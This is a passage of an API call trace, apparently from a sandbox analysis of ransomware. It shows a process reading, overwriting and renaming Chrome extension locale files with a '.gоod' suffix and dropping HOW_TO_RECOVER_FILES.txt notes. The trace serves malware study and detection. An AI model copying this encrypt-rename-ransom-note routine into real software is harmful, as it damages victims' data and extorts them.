Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json", lpFilePart=0x0) returned 0x89 [0263.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0263.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0263.191] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554661d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554681f8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9915d0ab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0263.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0263.191] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.gоod")) returned 1 [0263.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0263.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0263.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0263.193] GetFileType (hFile=0x858) returned 0x1 [0263.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0263.193] GetFileType (hFile=0x858) returned 0x1 [0263.193] WriteFile (in: hFile=0x858, lpBuffer=0x3adcde8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3adcde8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0263.194] CloseHandle (hObject=0x858) returned 1 [0263.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0263.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpFilePart=0x0) returned 0x7b [0263.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55479a4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5547e881, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5547e881, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0263.194] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55479a4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5547e881, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5547e881, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.194] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5547e881, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55482fa8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0263.195] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.195] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0263.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0263.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0263.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0263.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpFilePart=0x0) returned 0x7b [0263.195] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55479a4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5547e881, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5547e881, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0263.195] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55479a4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5547e881, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5547e881, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.195] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5547e881, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55482fa8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0265.496] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5547e881, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55482fa8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0265.496] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0265.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0265.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0265.496] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", lpFilePart=0x0) returned 0x89 [0265.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0265.496] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x381abd8 | out: lpFileInformation=0x381abd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5547e881, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55482fa8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0265.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0265.497] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", lpFilePart=0x0) returned 0x89 [0265.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0265.497] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.497] GetFileType (hFile=0x858) returned 0x1 [0265.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0265.497] GetFileType (hFile=0x858) returned 0x1 [0265.497] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xed [0265.497] ReadFile (in: hFile=0x858, lpBuffer=0x381b080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x381b080*, lpNumberOfBytesRead=0x1f6e7648*=0xed, lpOverlapped=0x0) returned 1 [0265.498] CloseHandle (hObject=0x858) returned 1 [0265.527] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", lpFilePart=0x0) returned 0x89 [0265.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0265.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.528] GetFileType (hFile=0x858) returned 0x1 [0265.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0265.528] GetFileType (hFile=0x858) returned 0x1 [0265.528] WriteFile (in: hFile=0x858, lpBuffer=0x3892b30*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3892b30*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0265.529] CloseHandle (hObject=0x858) returned 1 [0265.529] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", lpFilePart=0x0) returned 0x89 [0265.529] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0265.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0265.529] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5547e881, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55482fa8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x9a7bad2b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0265.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0265.529] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.gоod")) returned 1 [0265.531] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0265.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0265.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0265.674] GetFileType (hFile=0x85c) returned 0x1 [0265.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0265.674] GetFileType (hFile=0x85c) returned 0x1 [0267.911] WriteFile (in: hFile=0x85c, lpBuffer=0x3de3240*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3de3240*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0267.911] CloseHandle (hObject=0x85c) returned 1 [0267.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0267.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x7e [0267.912] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5548d2e2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5549481a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5549481a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0267.912] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5548d2e2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5549481a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5549481a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.937] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5549481a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55494118, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0267.937] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.938] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0267.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0267.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0267.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0267.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpFilePart=0x0) returned 0x7e [0267.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5548d2e2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5549481a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5549481a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0267.939] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5548d2e2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5549481a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5549481a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.939] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5549481a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55494118, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0267.939] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5549481a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55494118, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573db4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0267.940] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0267.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0267.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0267.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 